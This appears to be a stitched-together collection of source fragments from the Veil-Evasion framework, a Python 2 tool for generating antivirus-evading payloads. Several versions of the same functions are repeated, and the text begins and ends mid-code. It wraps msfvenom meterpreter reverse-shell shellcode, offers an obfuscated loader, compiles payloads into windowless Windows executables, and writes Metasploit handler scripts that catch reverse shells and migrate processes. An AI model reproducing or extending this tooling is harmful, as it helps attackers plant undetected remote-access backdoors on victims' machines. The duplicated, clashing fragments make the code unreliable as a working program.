supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method':'pyinstaller'}) # if we're compiling, set the returned file name to the output .exe # so we can return this for external calls to the framework OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe" # print the full message containing generation notes print message # print the end message messages.endmsg() if interactive: raw_input(" [>] press any key to return to the main menu: ") #self.MainMenu(showMessage=True) return OutputFileName
parser.add_argument('--clean', action='store_true', help='Clean out payload folders.') #parser.add_argument('--custshell', metavar="\\x00...", help='Custom shellcode string to use.') parser.add_argument('--msfoptions', metavar="OPTION=value", nargs='*', help='Options for the specified metasploit payload.') parser.add_argument('--msfvenom', metavar="windows/meterpreter/reverse_tcp", nargs='?', help='Metasploit shellcode to generate.') parser.add_argument('--overwrite', action='store_true', help='Overwrite payload/source output files if they already exist.') parser.add_argument('--pwnstaller', action='store_true', help='Use the Pwnstaller obfuscated loader.') parser.add_argument('--rpc', action='store_true', help='Run Veil-Evasion as an RPC server.') parser.add_argument('--rpcshutdown', action='store_true', help='Shutdown a running Veil-Evasion RPC server.') parser.add_argument('--update', action='store_true', help='Update the Veil framework.') parser.add_argument('--version', action="store_true", help='Displays version and quits.') args = parser.parse_args() # Print version if args.version: messages.title() sys.exit() # start up the RPC server if args.rpc: runRPC() sys.exit() # shutdown the RPC server if args.rpcshutdown: shutdownRPC() sys.exit() # Print main title messages.title()
def PayloadMenu(self, payload, showTitle=True, args=None): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payloadCommands, self.payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() # extract the payload class name from the instantiated object # YES, I know this is a giant hack :( # basically need to find "payloads" in the path name, then build # everything as appropriate payloadname = "/".join( str( str(payload.__class__) [str(payload.__class__).find("payloads"):]).split(".") [0].split("/")[1:]) print "\n Payload: " + helpers.color(payloadname) + " loaded\n" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [%s>>]: " % payloadname).strip() if choice != "": parts = choice.strip().split() cmd = parts[0].lower() # display help menu for the payload if cmd == "info": self.PayloadInfo(payload) choice = "" if cmd == "help": messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if cmd == "main" or cmd == "back" or cmd == "home": #finished = True return "" #self.MainMenu() if cmd == "exit" or cmd == "end" or cmd == "quit": raise KeyboardInterrupt # Update Veil via git if cmd == "update": self.UpdateVeil() # set specific options if cmd == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color( " [!] ERROR: no value supplied\n", warning=True) else: option = parts[1].upper() value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True) else: try: payload.required_options[ option][0] = value print " [i] %s => %s" % ( option, value) except KeyError: print helpers.color( "\n [!] ERROR #1: Specify LHOST value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR #2: Specify LHOST value in the following screen.\n", warning=True) # assume we've been passed a domain name else: if helpers.isValidHostname(value): payload.required_options[ option][0] = value print " [i] %s => %s" % ( option, value) else: print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True) else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) elif ':' in value: try: socket.inet_pton( socket.AF_INET6, value) payload.required_options[option][ 0] = value print " [i] %s => %s" % (option, value) except socket.error: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) value = "" # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][ 0] = value print " [i] %s => %s" % (option, value) except KeyError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except ValueError: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value print " [*] %s => %s" % (option, value) except: print helpers.color( " [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if cmd == "generate" or cmd == "gen" or cmd == "run" or cmd == "go" or cmd == "do" or cmd == "make": # make sure all required options are filled in first if self.ValidatePayload(payload): #finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode, args=args) else: print helpers.color( "\n [!] WARNING: not all required options filled\n", warning=True) if cmd == "options": # if required options were specified, output them if hasattr(self.payload, 'required_options'): self.PayloadOptions(self.payload)
def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""): """ Write a chunk of payload code to a specified ouput file base. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ # if we get .exe code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe": outputFolder = veil.PAYLOAD_COMPILED_PATH else: outputFolder = veil.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) print " [*] Press [enter] for 'payload'" OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ") if OutputBaseChoice == "": OutputBaseChoice = "payload" # set the output name to /outout/source/BASENAME.EXT OutputFileName = outputFolder + OutputBaseChoice + "." + payload.extension # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything x = 1 while os.path.isfile(OutputFileName): OutputFileName = outputFolder + OutputBaseChoice + str(x) + "." + payload.extension x += 1 OutputFile = open(OutputFileName, "w") OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload message = "\n Language:\t\t" + helpers.color(payload.language) + "\n Payload:\t\t" + payload.shortname if hasattr(payload, "shellcode"): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += " " + option + " " message += parts.strip() # if required options were specified, output them if hasattr(payload, "required_options"): message += "\n Required Options:\t" t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += t.strip() message += "\n Source File:\t\t" + OutputFileName + "\n" # print out notes if set if hasattr(payload, "notes"): message += " Notes:\t\t\t" + payload.notes # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, "required_options"): if "compile_to_exe" in self.payload.required_options: value = self.payload.required_options["compile_to_exe"][0].lower()[0] if value == "y" or value == True: if interactive: supportfiles.supportingFiles(self.payload.language, OutputFileName, {}) else: supportfiles.supportingFiles(self.payload.language, OutputFileName, {"method": "pyinstaller"}) # print the full message containing generation notes print message # print the end message messages.endmsg() if interactive: raw_input(" [>] press any key to return to the main menu: ") self.MainMenu(showMessage=True)
def MainMenu(self, showMessage=True): """ Main interactive menu for payload generation. showMessage = reset the screen and show the greeting message, default=True """ try: comp = completers.MainMenuCompleter(self.commands, self.payloads) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(" \t\n;") readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) cmd = "" while cmd == "": if showMessage: # print the title, where we are, and number of payloads loaded messages.title() print " Main Menu\n" print "\t" + helpers.color(str(len(self.payloads))) + " payloads loaded\n" if self.firstRun: messages.helpmsg(self.commands, showTitle=False) # self.firstRun = False cmd = raw_input(" [>] Please enter a command: ").strip() # handle our tab completed commands if cmd.startswith("help"): # messages.helpmsg(self.commands) messages.title() self.commands cmd = "" showMessage = False elif cmd.startswith("use"): if len(cmd.split()) == 1: messages.title() self.ListAllPayloads() showMessage = False cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.PayloadMenu(self.payload) x += 1 # else choosing the payload by name elif len(p.split("/")) == 2: lang, payloadName = p.split("/") for (name, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if pay.language == lang: if pay.shortname == payloadName: self.payload = pay self.PayloadMenu(self.payload) cmd = "" showMessage = True # error catchings if not of form [use BLAH] else: cmd = "" showMessage = False elif cmd.startswith("info"): if len(cmd.split()) == 1: showMessage = True cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.PayloadInfo(self.payload) x += 1 # else choosing the payload by name elif len(p.split("/")) == 2: lang, payloadName = p.split("/") for (name, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if pay.language == lang: if pay.shortname == payloadName: self.payload = pay self.PayloadInfo(self.payload) cmd = "" showMessage = False # error catchings if not of form [use BLAH] else: cmd = "" showMessage = False elif cmd.startswith("list"): if len(cmd.split()) == 1: messages.title() self.ListAllPayloads() if len(cmd.split()) == 2: parts = cmd.split() if parts[1] == "all" or parts[1] == "payloads": messages.title() self.ListAllPayloads() elif parts[1] == "langs": messages.title() self.ListLangs() else: messages.title() self.ListPayloads(parts[1]) cmd = "" showMessage = False elif cmd.startswith("exit") or cmd.startswith("q"): print helpers.color("\n [!] Exiting...\n", warning=True) sys.exit() # select a payload by just the number elif cmd.isdigit() and 0 < int(cmd) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(cmd) == x: self.payload = pay self.PayloadMenu(self.payload) x += 1 cmd = "" showMessage = False # if nothing is entered else: showMessage = True # catch any ctrl + c interrupts except KeyboardInterrupt: print helpers.color("\n\n [!] Exiting...\n", warning=True) sys.exit()
def supportingFiles(language, payloadFile, options): """ Takes a specific language and payloadFile name written to and generates any necessary support files, and/or compiles the payload to an .exe. Currently only handles python and c options['method'] = "py2exe" or "pyinstaller" currently for python payloads """ if language == "python": # if we aren't passed any options, do the interactive menu if len(options) == 0: if settings.OPERATING_SYSTEM == "Windows": options['method'] = "py2exe" else: # if we have a linux distro, continue... # Determine if the user wants Pyinstaller or Py2Exe. print '\n [?] How would you like to create your payload executable?\n' print ' 1 - Pyinstaller (default)' print ' 2 - Py2Exe\n' PyMaker = raw_input(" [>] Please enter the number of your choice: ") if PyMaker == "1" or PyMaker == "": options['method'] = "pyinstaller" else: options['method'] = "py2exe" if options['method'] == "py2exe": nameBase = payloadFile.split("/")[-1].split(".")[0] # Generate setup.py File for Py2Exe SetupFile = open(settings.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') SetupFile.write("from distutils.core import setup\n") SetupFile.write("import py2exe, sys, os\n\n") SetupFile.write("setup(\n") SetupFile.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") SetupFile.write("\tzipfile = None,\n") SetupFile.write("\twindows=['"+nameBase+".py']\n") SetupFile.write(")") SetupFile.close() # Generate Batch script for Compiling on Windows Using Py2Exe RunmeFile = open(settings.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') RunmeFile.write('rem Batch Script for compiling python code into an executable\n') RunmeFile.write('rem on windows with py2exe\n') RunmeFile.write('rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n') RunmeFile.write("python setup.py py2exe\n") RunmeFile.write('cd dist\n') exeName = ".".join(payloadFile.split(".")[:-1]) + ".exe" RunmeFile.write('move '+nameBase+'.exe ../\n') RunmeFile.write('cd ..\n') RunmeFile.write('rmdir /S /Q build\n') RunmeFile.write('rmdir /S /Q dist\n') RunmeFile.close() print helpers.color("\npy2exe files 'setup.py' and 'runme.bat' written to:\n"+settings.PAYLOAD_SOURCE_PATH + "\n") # Else, Use Pyinstaller (used by default) else: # Check for Wine python.exe Binary (Thanks to darknight007 for this fix.) # Thanks to Tim Medin for patching for non-root non-kali users if(os.path.isfile(os.path.expanduser('~/.wine/drive_c/Python27/python.exe'))): # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" # TODO: os.system() is depreciated, use subprocess or commands instead os.system('wine ' + os.path.expanduser('~/.wine/drive_c/Python27/python.exe') + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --noconsole --onefile ' + payloadFile ) os.system('mv dist/'+exeName+' ' + settings.PAYLOAD_COMPILED_PATH) os.system('rm -rf dist') os.system('rm -rf build') os.system('rm *.spec') os.system('rm logdict*.*') messages.title() print "\n [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + exeName) else: # Tim Medin's Patch for non-root non-kali users messages.title() print helpers.color("\n [!] ERROR: Can't find python.exe in " + os.path.expanduser('~/.wine/drive_c/Python27/'), warning=True) print helpers.color(" [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True) sys.exit() elif language == "c": # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows '+payloadFile+' -o ' + settings.PAYLOAD_COMPILED_PATH + exeName + " -lwsock32") print "\n [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + exeName) elif language == "cs": # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe '+payloadFile+' -out:' + settings.PAYLOAD_COMPILED_PATH + exeName) print "\n [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + exeName) else: messages.title() print helpers.color("\n [!] ERROR: Only python, c, and c# compilation is currently supported.\n", warning=True)
def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""): """ Write a chunk of payload code to a specified ouput file base. Also outputs a handler script if required from the options. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ # if we get .exe code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe": outputFolder = settings.PAYLOAD_COMPILED_PATH else: outputFolder = settings.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) print " [*] Press [enter] for 'payload'" OutputBaseChoice = raw_input( " [>] Please enter the base name for output files: ") if OutputBaseChoice == "": OutputBaseChoice = "payload" # walk the output path and grab all the file bases, disregarding extensions fileBases = [] for (dirpath, dirnames, filenames) in os.walk(outputFolder): fileBases.extend( list( set([ x.split(".")[0] for x in filenames if x.split(".")[0] != '' ]))) break # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything FinalBaseChoice = OutputBaseChoice x = 1 while FinalBaseChoice in fileBases: FinalBaseChoice = OutputBaseChoice + str(x) x += 1 # set the output name to /outout/source/BASENAME.EXT OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension OutputFile = open(OutputFileName, 'w') OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload message = "\n Language:\t\t" + helpers.color( payload.language) + "\n Payload:\t\t" + payload.shortname if hasattr(payload, 'shellcode'): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # if the shellcode wasn't custom, build out a handler script handler = "use exploit/multi/handler\n" handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n" handler += "set LHOST 0.0.0.0\n" # extract LPORT if it's there p = re.compile('LPORT=(.*?) ') parts = p.findall(payload.shellcode.msfvenomCommand) if len(parts) > 0: handler += "set LPORT " + parts[0] + "\n" handler += "set ExitOnSession false\n" handler += "set AutoRunScript post/windows/manage/migrate\n" handler += "exploit -j\n" # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += ' ' + option + ' ' message += parts.strip() # reset the internal shellcode state the options don't persist payload.shellcode.Reset() # if required options were specified, output them if hasattr(payload, 'required_options'): message += "\n Required Options:\t" t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += t.strip() # check if any options specify that we should build a handler out keys = payload.required_options.keys() if "LHOST" in keys: handler = "use exploit/multi/handler\n" # do our best to determine the payload type # handle options from the backdoor factory if "payload" in keys: p = payload.required_options["payload"][0] if "tcp" in p: handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n" elif "https" in p: handler += "set PAYLOAD windows/meterpreter/reverse_https\n" elif "shell" in p: handler += "set PAYLOAD windows/shell_reverse_tcp\n" else: pass # if not BDF, try to extract the handler type from the payload name else: if "tcp" in payload.shortname.lower(): handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n" elif "https" in payload.shortname.lower(): handler += "set PAYLOAD windows/meterpreter/reverse_https\n" elif "http" in payload.shortname.lower(): handler += "set PAYLOAD windows/meterpreter/reverse_https\n" else: pass handler += "set LHOST 0.0.0.0\n" if "LPORT" in keys: handler += "set LPORT " + payload.required_options[ "LPORT"][0] + "\n" handler += "set ExitOnSession false\n" handler += "set AutoRunScript post/windows/manage/migrate\n" handler += "exploit -j\n" message += "\n Payload File:\t\t" + OutputFileName + "\n" # if we're generating the handler script, write it out try: if settings.GENERATE_HANDLER_SCRIPT.lower() == "true": handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc" handlerFile = open(handlerFileName, 'w') handlerFile.write(handler) handlerFile.close() message += " Handler File:\t\t" + handlerFileName + "\n" except: # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated print helpers.color("\n [!] Please run ./config/update.py !", warning=True) # print out notes if set if hasattr(payload, 'notes'): #message += " Notes:\t\t\t" + payload.notes message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24) message += "\n" # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, 'required_options'): if "compile_to_exe" in self.payload.required_options: value = self.payload.required_options['compile_to_exe'][ 0].lower()[0] if value == "y" or value == True: if interactive: supportfiles.supportingFiles(self.payload.language, OutputFileName, {}) else: supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method': 'pyinstaller'}) # if we're compiling, set the returned file name to the output .exe # so we can return this for external calls to the framework OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe" # print the full message containing generation notes print message # print the end message messages.endmsg() if interactive: raw_input(" [>] press any key to return to the main menu: ") #self.MainMenu(showMessage=True) return OutputFileName
def supportingFiles(language, payloadFile, options): """ Takes a specific language and payloadFile name written to and generates any necessary support files, and/or compiles the payload to an .exe. Currently only handles python and c options['method'] = "py2exe" or "pyinstaller" currently for python payloads """ if language == "python": # if we aren't passed any options, do the interactive menu if len(options) == 0: if veil.OPERATING_SYSTEM == "Windows": options["method"] = "py2exe" else: # if we have a linux distro, continue... # Determine if the user wants Pyinstaller or Py2Exe. print "\n [?] How would you like to create your payload executable?\n" print " 1 - Pyinstaller (default)" print " 2 - Py2Exe\n" PyMaker = raw_input(" [>] Please enter the number of your choice: ") if PyMaker == "1" or PyMaker == "": options["method"] = "pyinstaller" else: options["method"] = "py2exe" if options["method"] == "py2exe": nameBase = payloadFile.split("/")[-1].split(".")[0] # Generate setup.py File for Py2Exe path = veil.PAYLOAD_SOURCE_PATH SetupFile = open(path + "/setup.py", "w") SetupFile.write("from distutils.core import setup\n") SetupFile.write("import py2exe, sys, os\n\n") SetupFile.write("setup(\n") SetupFile.write("\toptions = {'py2exe': {'bundle_files': 1,\n\t\t'dist_dir': '" + path + "/dist'}},\n") # TODO - fix this zipfile option SetupFile.write("\tzipfile = None,\n") SetupFile.write("\twindows=['" + path + nameBase + ".py']\n") SetupFile.write(")") SetupFile.close() # Auto-generate the EXE file. os.system("python " + path + "/setup.py py2exe") os.system("move " + path.replace("/", "\\") + "\\dist\\" + nameBase + ".exe " + path.replace("/", "\\")) print "attempting: move " + path.replace("/", "\\") + "\\dist\\" + nameBase + ".exe " + path.replace( "/", "\\" ) os.system("rmdir /S /Q " + path.replace("/", "\\") + "\\dist") exeName = ".".join(payloadFile.split(".")[:-1]) + ".exe" print helpers.color(" [*] EXE written to: " + veil.PAYLOAD_SOURCE_PATH + "\n") # Else, Use Pyinstaller (used by default) else: # Check for Wine python.exe Binary (Thanks to darknight007 for this fix.) # Thanks to Tim Medin for patching for non-root non-kali users if os.path.isfile(os.path.expanduser("~/.wine/drive_c/Python27/python.exe")): # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" outputPath = veil.PAYLOAD_COMPILED_PATH # TODO: os.system() is depreciated, use subprocess or commands instead os.system( "wine " + os.path.expanduser("~/.wine/drive_c/Python27/python.exe") + " " + os.path.expanduser("~/pyinstaller-2.0/pyinstaller.py") + " --noconsole --onefile " + payloadFile ) os.system("mv dist/" + exeName + " " + veil.PAYLOAD_COMPILED_PATH) os.system("rm -rf dist") os.system("rm -rf build") os.system("rm *.spec") os.system("rm logdict*.*") messages.title() print "\n [*] Executable written to: " + helpers.color(veil.PAYLOAD_COMPILED_PATH + exeName) else: # Tim Medin's Patch for non-root non-kali users messages.title() print helpers.color( "\n [!] ERROR: Can't find python.exe in " + os.path.expanduser("~/.wine/drive_c/Python27/"), warning=True, ) print helpers.color( " [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True ) sys.exit() elif language == "c": # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" outputPath = os.getcwd() + "/output/compiled/" # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system( "i686-w64-mingw32-gcc -Wl,-subsystem,windows " + payloadFile + " -o " + veil.PAYLOAD_COMPILED_PATH + exeName ) print "\n [*] Executable written to: " + helpers.color(veil.PAYLOAD_COMPILED_PATH + exeName) elif language == "c#": # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" outputPath = os.getcwd() + "/output/compiled/" # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system("mcs -platform:x86 -target:winexe " + payloadFile + " -out:" + veil.PAYLOAD_COMPILED_PATH + exeName) print "\n [*] Executable written to: " + helpers.color(veil.PAYLOAD_COMPILED_PATH + exeName) else: messages.title() print helpers.color("\n [!] ERROR: Only python, c, and c# compiling is currently supported.\n", warning=True)
def supportingFiles(language, payloadFile, options): """ Takes a specific language and payloadFile name written to and generates any necessary support files, and/or compiles the payload to an .exe. Currently only handles python and c options['method'] = "py2exe" or "pyinstaller" currently for python payloads """ exe_path = '' if language == "python": # if we aren't passed any options, do the interactive menu if len(options) == 0: if veil.OPERATING_SYSTEM == "Windows": options['method'] = "py2exe" else: # if we have a linux distro, continue... # Determine if the user wants Pyinstaller or Py2Exe. print '\n [?] How would you like to create your payload executable?\n' print ' 1 - Pyinstaller (default)' print ' 2 - Py2Exe\n' PyMaker = raw_input( " [>] Please enter the number of your choice: ") if PyMaker == "1" or PyMaker == "": options['method'] = "pyinstaller" else: options['method'] = "py2exe" if options['method'] == "py2exe": nameBase = payloadFile.split("/")[-1].split(".")[0] # Generate setup.py File for Py2Exe SetupFile = open(veil.PAYLOAD_SOURCE_PATH + '/setup.py', 'w') SetupFile.write("from distutils.core import setup\n") SetupFile.write("import py2exe, sys, os\n\n") SetupFile.write("setup(\n") SetupFile.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") SetupFile.write("\tzipfile = None,\n") SetupFile.write("\twindows=['" + nameBase + ".py']\n") SetupFile.write(")") SetupFile.close() # Generate Batch script for Compiling on Windows Using Py2Exe RunmeFile = open(veil.PAYLOAD_SOURCE_PATH + '/runme.bat', 'w') RunmeFile.write( 'rem Batch Script for compiling python code into an executable\n' ) RunmeFile.write('rem on windows with py2exe\n') RunmeFile.write( 'rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n' ) RunmeFile.write("python setup.py py2exe\n") RunmeFile.write('cd dist\n') exeName = ".".join(payloadFile.split(".")[:-1]) + ".exe" RunmeFile.write('move ' + nameBase + '.exe ../\n') RunmeFile.write('cd ..\n') RunmeFile.write('rmdir /S /Q build\n') RunmeFile.write('rmdir /S /Q dist\n') RunmeFile.close() print helpers.color( "\npy2exe files 'setup.py' and 'runme.bat' written to:\n" + veil.PAYLOAD_SOURCE_PATH + "\n") # Else, Use Pyinstaller (used by default) else: # Check for Wine python.exe Binary (Thanks to darknight007 for this fix.) if (os.path.isfile(HOME + '/.wine/drive_c/Python27/python.exe')): # extract the payload base name and turn it into an .exe exeName = ".".join( payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" outputPath = veil.PAYLOAD_COMPILED_PATH # TODO: os.system() is depreciated, use subprocess or commands instead os.system( 'wine ' + HOME + '/.wine/drive_c/Python27/python.exe ' + HOME + '/pyinstaller-2.0/pyinstaller.py --noconsole --onefile ' + payloadFile) os.system('mv dist/' + exeName + ' ' + veil.PAYLOAD_COMPILED_PATH) os.system('rm -rf dist') os.system('rm -rf build') os.system('rm *.spec') os.system('rm logdict*.*') messages.title() logging.info("Executable written to: " + helpers.color(veil.PAYLOAD_COMPILED_PATH + exeName)) exe_path = veil.PAYLOAD_COMPILED_PATH + exeName else: messages.title() print helpers.color("\n [!] ERROR: Can't find python.exe in " + HOME + "/.wine/drive_c/Python27", warning=True) print helpers.color( " [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True) elif language == "c": # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" outputPath = os.getcwd() + "/output/compiled/" # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + payloadFile + ' -o ' + veil.PAYLOAD_COMPILED_PATH + exeName) logging.info("Executable written to: " + helpers.color(veil.PAYLOAD_COMPILED_PATH + exeName)) exe_path = veil.PAYLOAD_COMPILED_PATH + exeName elif language == "c#": # extract the payload base name and turn it into an .exe exeName = ".".join(payloadFile.split("/")[-1].split(".")[:-1]) + ".exe" outputPath = os.getcwd() + "/output/compiled/" # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + payloadFile + ' -out:' + veil.PAYLOAD_COMPILED_PATH + exeName) logging.info("Executable written to: " + helpers.color(veil.PAYLOAD_COMPILED_PATH + exeName)) exe_path = veil.PAYLOAD_COMPILED_PATH + exeName else: messages.title() print helpers.color( "\n [!] ERROR: Only python, c, and c# compiling is currently supported.\n", warning=True) return exe_path
def MainMenu(self, showMessage=True, loop=-1): """ Main interactive menu for payload generation. showMessage = reset the screen and show the greeting message [default=True] loop = number of times to loop through menu, -1 for infinite """ try: cmd = "" while cmd == "" and loop != 0: # set out tab completion for the appropriate modules on each run # as other modules sometimes reset this comp = completers.MainMenuCompleter(self.commands, self.payloads) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) if showMessage: # print the title, where we are, and number of payloads loaded messages.title() print " Main Menu\n" print "\t" + helpers.color(str(len(self.payloads))) + " payloads loaded\n" messages.helpmsg(self.commands, showTitle=False) cmd = raw_input(' [>] Please enter a command: ').strip() # handle our tab completed commands if cmd.startswith("help"): #messages.helpmsg(self.commands) messages.title() self.commands cmd = "" showMessage=False elif cmd.startswith("use"): if len(cmd.split()) == 1: messages.title() self.ListAllPayloads() showMessage=False cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.outputFileName = self.PayloadMenu(self.payload) x += 1 # else choosing the payload by name elif len(p.split("/")) == 2: lang,payloadName = p.split("/") for (name, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if pay.language == lang: if pay.shortname == payloadName: self.payload = pay self.outputFileName = self.PayloadMenu(self.payload) cmd = "" showMessage=True # error catchings if not of form [use BLAH] else: cmd = "" showMessage=False elif cmd.startswith("update"): self.UpdateVeil() showMessage=True cmd = "" elif cmd.startswith("info"): if len(cmd.split()) == 1: showMessage=True cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.PayloadInfo(self.payload) x += 1 